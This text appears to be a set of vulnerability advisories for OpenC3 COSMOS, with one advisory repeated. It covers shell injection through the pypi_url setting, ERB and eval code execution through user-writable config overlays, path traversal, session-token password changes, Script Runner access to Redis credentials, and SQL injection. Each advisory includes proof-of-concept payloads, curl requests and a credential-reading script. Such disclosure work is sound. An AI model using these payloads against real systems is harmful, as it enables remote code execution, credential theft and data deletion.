get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Summary

OpenC3 COSMOS contains a design flaw in the save_tool_config() function that allows saving tool configuration files at arbitrary locations inside the shared /plugins directory tree by supplying crafted configuration filenames. Although the implementation sufficiently mitigates standard path traversal attacks, by canonicalizing filename to an absolute path, all plugins share this same root directory. That enables users to create arbitrary file structures and overwrite existing configuration files within the shared /plugins directory.

Details

In function save_tool_config() (local_mode.rb) responsible for saving user-supplied tool configuration, the desired saving directory is not sufficiently enforced, instead allowing writes inside entire OPENC3_LOCAL_MODE_PATH.

PoC

1. Navigate to any tool that enables “Save Configuration” option in left-hand drop-down menu (here Limits Monitor as an example)
2. Save a new config with path traversal name using “../” sequences to escape desired directory (up to 3 levels high)
3. Observe new files created in /plugins directory by inspecting docker container directly (openc3-COSMOS-cmd-tlm-api) or using Bucket Explorer (plugin_default)

Impact

Modifying the data of other plugins

Summary

The OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account.

Details

The design flaw in authentication model (authentication.rb) allows for interchangeable use of password and session tokens for user authentication As old tokens are not revoked upon password reset, an attacker who has obtained a valid session token can continue to authenticate and change the account’s password even after the victim resets it, thereby maintaining persistent control over the compromised account.

PoC

1. Attacker is logged in user account with hijacked valid session token, but not knowing the actual password
2. Legitimate user, as preventive action, changes his password (password123) using old password (password), that he knows, then establishes new session
3. Attacker issues another password change request (in web proxy like Burp) supplying his still valid token as old_password, changing it to attacker-password, from this point preventing any other legitimate users from accessing account

Impact

Persistence of an attacker who obtained valid session token and preventing legitimate users from account access

Summary

COSMOS reads configuration from a user-writable overlay (targets_modified/) before the read-only plugin-installed targets/ tree, and the config subsystem executes code on those files: ConfigParser renders every file as ERB by default, a GENERIC_READ_CONVERSION / GENERIC_WRITE_CONVERSION block is evaluated as code by GenericConversion (Ruby and Python), and the Script Runner suite analysis requires a procedure file. An authenticated user can write into targets_modified/ below the admin tier (the storage-upload endpoint exempts that area from the admin gate, and the screen-save endpoint stores its body verbatim there), so the same root cause is reachable through several features, each giving arbitrary code execution on a COSMOS server.

Three vulnerable routes were identified, all reachable by an authenticated non-admin user (in the open-source edition authorize ignores the permission string, so any authenticated user qualifies):

1. Table definitions (immediate). tables#generate|report|load reads a definition from targets_modified/ and ERB-renders it and evaluates its GENERIC_*_CONVERSION block in the cmd-tlm-api container.
2. Command/telemetry definitions (persistent). A file written to targets_modified/<TARGET>/cmd_tlm/ is overlaid by System.setup_targets and processed by PacketConfig in the decom/multi microservices: ERB-rendered in the Ruby implementation, and GENERIC-evaluated in both the Ruby and Python implementations (the Python ConfigParser does not run ERB). It executes on the next microservice (re)start.
3. Script Runner suites (immediate). A procedure written to targets_modified/<TARGET>/procedures/ is required by the suite analysis, reachable at the read-only script_view tier through scripts#body and running_script#show (the analysis subprocess is spawned when OPENC3_SERVICE_PASSWORD is configured, which it is in the shipped .env).

Details

Root cause. TargetFile.body (Ruby openc3/lib/openc3/utilities/target_file.rb, Python openc3/python/openc3/utilities/target_file.py) reads {scope}/targets_modified/{name} before {scope}/targets/{name}. The storage-upload endpoint storage_controller.rb get_upload_presigned_request is gated at system_set and exempts targets_modified/ and tmp/ from its admin check (so a write there is not admin-gated); for a target path it additionally calls authorize_bucket_path, which in the permission-enforcing edition requires tlm on the target, while in the open-source edition authorize ignores the permission string entirely. screens_controller.rb create (system_set) stores its request body verbatim under targets_modified/<target>/screens/. So a non-admin can place files in the overlay. The config subsystem then executes them.

Sink 1, ERB. ConfigParser#parse_file renders the file as ERB before parsing (run_erb defaults to true):

# openc3/lib/openc3/config/config_parser.rb:402
output = ERB.new(File.read(filename)...comment_erb(), trim_mode: "-").result(...)

Reached for table definitions via tables_controller.rb -> Table.get_definitions -> TableConfig.process_file -> parse_file, and for cmd/tlm definitions via System.setup_targets (system.rb, whose overlay loop copies targets_modified/<T>/cmd_tlm/* over the read-only files) -> PacketConfig#process_file -> parse_file.

Sink 2, GENERIC conversion. PacketConfig/TableConfig build a GenericConversion from a GENERIC_READ_CONVERSION_START .. END / GENERIC_WRITE_CONVERSION_START .. END block, and GenericConversion#call evaluates it (independent of ERB):

# openc3/lib/openc3/conversions/generic_conversion.rb (call)
eval(@code_to_eval)
# Python openc3/python/openc3/conversions/generic_conversion.py (call): compile()/exec()/eval()

The read conversion fires on tables#report/load and during telemetry decom; the write conversion fires on tables#generate and on restore_defaults.

Sink 3, suite require. The Script Runner suite analysis executes the file:

# openc3-cosmos-script-runner-api/scripts/run_suite_analysis.rb:24
require ARGV[1]      # runs all top-level code of the supplied file

reached from Script.process_suite, invoked by scripts#body and running_script#show (both script_view) and scripts#create (script_edit) when the file matches the suite pattern.

Permission tiers. Writing the payload needs system_set (screen save, storage upload) or script_edit (script create); triggering needs system (tables) or script_view (suite). These are below the tiers where COSMOS gates code execution elsewhere (plugin install requires admin, running a script requires script_run).

PoC

Table definition path, against a standard stack. Benign payload writes id to a marker file. This PoC uses the open-source password login; in the permission-enforcing edition substitute a bearer token for a user holding the permissions noted above.

BASE=http://localhost:2900/openc3-api      # adjust to your deployment
TOKEN=$(curl -s -X POST "$BASE/auth/verify" -H 'Content-Type: application/json' -d '{"password":"<your password>"}')

# 1) Write the payload into targets_modified/ via the screen save endpoint.
curl -s -X POST "$BASE/screen" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'target=INST' --data-urlencode 'screen=poc' \
  --data-urlencode $'text=SCREEN AUTO AUTO 1.0\n<%= File.write("/tmp/erb_rce_poc", `id`) %>\nLABEL poc'

# 2) Trigger by pointing a table action at that file.
curl -s -X POST "$BASE/tables/generate" -H "Authorization: $TOKEN" \
  --data-urlencode 'scope=DEFAULT' --data-urlencode 'definition=INST/screens/poc.txt'

Then in the cmd-tlm-api container: cat /tmp/erb_rce_poc shows uid=1001(openc3) .... The tables/generate request returns HTTP 500 (the screen lines are not valid table keywords); the marker shows the code already ran.

The same outcome without ERB, using the GENERIC sink, on the same tables/generate trigger:

TABLE "data" BIG_ENDIAN KEY_VALUE "poc"
  APPEND_PARAMETER "item1" 8 UINT 0 255 0 "Item"
    GENERIC_WRITE_CONVERSION_START
      `id > /tmp/erb_rce_poc`
      0
    GENERIC_WRITE_CONVERSION_END

cmd/tlm path: upload a telemetry definition containing the same ERB or GENERIC block to targets_modified/<TARGET>/cmd_tlm/<file>.txt via the storage-upload presigned request (system_set), then the code runs in that target's decom microservice on its next restart. Suite path: write a suite-shaped procedure to targets_modified/<TARGET>/procedures/<x>.rb and call scripts#body on it at script_view.

The ERB table chain was confirmed end to end over HTTP against a booted Rails and puma instance.

Impact

Arbitrary code execution as the openc3 user in the cmd-tlm-api container and the per-target decom microservices and the script-runner. Those processes hold the Redis and bucket credentials and sit on the internal service network, so the executed code acts with that authority over configuration, telemetry, and command data across scopes. The API is served through Traefik, which the shipped compose binds to 127.0.0.1:2900, so a default single-host install is reachable only from the host; a multi-user deployment exposes the web port, and the AV:N rating reflects that standard remote-operator exposure.

All paths require valid authentication, and the triggering permissions (system/system_set/script_view) are below the admin/script_run/plugin-install tiers where COSMOS gates code execution. In the open-source edition authorize checks only token validity and does not enforce the permission string, so any authenticated user can perform these requests.

Suggested fix

The fix is to treat the user-writable overlay as data, never code, and to gate the writers, applied uniformly:

• Load table and cmd/tlm definitions for code-execution paths from the read-only targets/ tree only, or parse the targets_modified overlay with ERB disabled (run_erb=false); dynamically-created packet definitions are structural and never need ERB, so this does not regress that feature.
• Allow only admin and the server-side dynamic-packet mechanism to write a cmd_tlm overlay; reject non-canonical object keys so a positional path check cannot be bypassed by a key the object store normalizes differently.
• Run the Script Runner suite analysis (which executes the file) only at the script_run tier, at every entry point.
• Mirror the definition-read change in the Python implementation.

Summary

An authenticated user can execute arbitrary operating system commands on the openc3-cosmos-cmd-tlm-api service. The pypi_url setting is interpolated, unescaped, into a command line that is run through a shell backtick when a plugin is installed. Shell metacharacters in the setting value are executed by /bin/sh.

Details

The pypi_url value is written through the set_setting API method, reachable over the JSON-RPC endpoint POST /openc3-api/api. In the open-source edition, authorize (openc3/lib/openc3/utilities/authorization.rb) verifies only that the session token is valid and returns the anonymous user; the permission: argument is not enforced, so any authenticated user can write the setting and install a plugin. In the Enterprise edition these actions require the admin role.

During plugin install, PluginModel.install_phase2 reads the setting and builds the argument string, then runs it through a backtick (openc3/lib/openc3/models/plugin_model.rb:288):

pypi_url = get_setting('pypi_url', scope: scope)   # attacker-controlled, no validation
pypi_url += '/simple' if pypi_url
pip_args = "-i #{pypi_url} -r #{requirements_path}"
output = `/openc3/bin/pipinstall #{pip_args}`        # Ruby backtick -> /bin/sh -c

get_setting appends /simple to the stored value, and a trailing # comments out that suffix and the remainder of the argument string. The python install branch runs whenever the installed plugin contains a requirements.txt or pyproject.toml, which the actor controls because they supply the plugin gem.

The sibling installer openc3/lib/openc3/models/python_package_model.rb:95 performs the same pipinstall invocation using an argv array through ProcessManager.spawn, which does not involve a shell and is not injectable. plugin_model.rb:288 is the single site that uses a backtick.

PoC

Confirmed end-to-end over HTTP against a booted openc3-cosmos-cmd-tlm-api (puma) with Redis and bucket storage. Every request is authenticated.

1. Obtain a session token:

   POST /openc3-api/auth/verify    {"password":"<password>"}
   

2. Write the setting (JSON-RPC):

   POST /openc3-api/api
   {"jsonrpc":"2.0","method":"set_setting",
    "params":["pypi_url","https://pypi.org ; id > /tmp/A1_PWNED 2>&1 ; #"],
    "keyword_params":{"scope":"DEFAULT"},"id":1}
   

3. Upload a plugin gem that contains a requirements.txt:

   POST /openc3-api/plugins     (multipart: plugin=@malicious.gem, scope=DEFAULT)
   

4. Install it:

   POST /openc3-api/plugins/install/<id>    (plugin_hash from step 3, scope=DEFAULT)
   

The injected command executed inside the install process. Contents of the marker file written by the payload:

uid=1001(openc3) gid=1001(openc3) groups=1001(openc3)

Impact

Arbitrary OS command execution as the openc3 user (uid 1001) inside the cmd-tlm-api container. That process holds the Redis/Valkey password and the bucket (S3) credentials and operates across every scope, so command execution there exposes stored telemetry, commanding, and credentials, and allows tampering with any scope.

In the Enterprise edition the prerequisite is the admin role; the admin already has plugin-driven code execution by design, so the practical effect there is that a configuration value becomes a shell command rather than a new privilege boundary being crossed. In the open-source edition any authenticated user reaches it.

Suggested fix

Run pipinstall through an argv array instead of a shell, matching python_package_model.rb:95:

pip_argv = ["-i", pypi_url]
pip_argv += ["--trusted-host", URI.parse(pypi_url).host] unless ENV['PIP_ENABLE_TRUSTED_HOST'].nil?
pip_argv += File.exist?(pyproject_path) ? [gem_path] : ["-r", requirements_path]
OpenC3::ProcessManager.instance.spawn(["/openc3/bin/pipinstall"] + pip_argv, "plugin_pip_install", File.basename(gem_path), Time.now + 3600.0, scope: scope)

Optionally also validate pypi_url as an http(s) URL when the setting is written.

Vulnerability Type: Execution with Unnecessary Privileges Attack type: Authenticated remote Impact: Data disclosure/manipulation, privilege escalation Affected components: The following docker images: • Openc3inc/openc3-COSMOS-script-runner-api

The Script Runner widget allows users to execute Python and Ruby scripts directly from the openc3-COSMOS-script-runner-api container. Because all the docker containers share a network, users can execute specially crafted scripts to bypass the API permissions check and perform administrative actions, including reading and modifying data inside the Redis database, which can be used to read secrets and change COSMOS settings, as well as read and write to the buckets service, which holds configuration, log, and plugin files. These actions are normally only available from the Admin Console or with administrative privileges. Any user with permission to create and run scripts can connect to any service in the docker network.

Figure 1: Environment variables, including Redis credentials, found in the Script Runner container A Ruby script is used to expose the Redis username, password, hostname, and port. These credentials might also be found from the source code or through a brute-force attack.

Figure 2: A Python script is used to add data to Redis and retrieve the new data A Python script is then used to create a new entry in the Redis database called openc3__settings_hacked with a key of store_url and a value of http://hacked.com.

Figure 3: The new data found in the Redis database The new entry was successfully added to the Redis database, as is confirmed by using redis-cli. The following example shows how an attacker might change the plugin store URL file that is stored in the config bucket.

Figure 4: Uploading file to change the plugin store URL setting

Figure 5: The URL file was successfully changed

Steps To Reproduce

1. Run the following Ruby code to find the Redis credentials:

puts `env | grep redis`

3. Add the following Python script with the credentials to create a new entry and read it

import redis
import json
import time

r = redis.Redis(
    host = 'openc3-redis',
    port = 6379,
    username = 'openc3', 
    password = 'openc3password',  
    decode_responses=True
)

# Save a setting
setting_data = {
    'name': 'store_url',
    'data': 'http://hacked.com',
    'updated_at': time.time_ns()
}
r.hset('openc3__settings_hacked','store_url',json.dumps(setting_data))
print(r.hget('openc3__settings_hacked','store_url'))

Recommendations

• Limit the permissions of the script runner API to prevent lower level users from performing administrative actions

Vulnerability Type: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') Attack type: Authenticated remote Impact: Telemetry data disclosure and deletion Affected components: openc3-tsdb (QuestDB)

A SQL injection vulnerability exists in the Time-Series Database (TSDB) component of COSMOS. The tsdb_lookup function in the cvt_model.rb file directly places user-supplied input into a SQL query without sanitizing the input. As a result, a user can break out of the initial SQL statement and execute arbitrary SQL commands, including deleting data.

Figure 1: Source code vulnerable to SQL injection Additionally, the get_tlm_values RPC endpoint only requires “tlm” permissions, allowing any user with the Admin, Operator, Viewer, or Runner roles to send a request to the TSDB. This permission is defined in roles-permissions.md to allow for the user to view telemetry data, but this vulnerability also allows them to delete data and tables.

Figure 2: Source code showing the required permissions for the get_tlm_values endpoint Sending a normal request to the endpoint brings back a single array of values for the parameter:

Figure 3: A normal request to the get_tlm_values endpoint However, sending a specially crafted request within the start_time variable brings back all the data in the database:

Figure 4: The request and response after sending the SQL injection payload This payload can be modified to executes SQL commands in the TSDB.

Figure 5: SQL injection used to execute arbitrary SQL command The user can then delete all the historical data in the database:

Figure 6: Example payload dropping the tables

Steps to Reproduce

1. Capture a JSON-RPC request to the get_tlm_values endpoint.
2. Add the start_time key to the request body and place the following in the value:

‘ OR 1=1 --

3. Retrieve all database data.

Recommendations

• Sanitize all user-supplied input before executing it • Use prepared statements with parameterized queries when executing SQL statements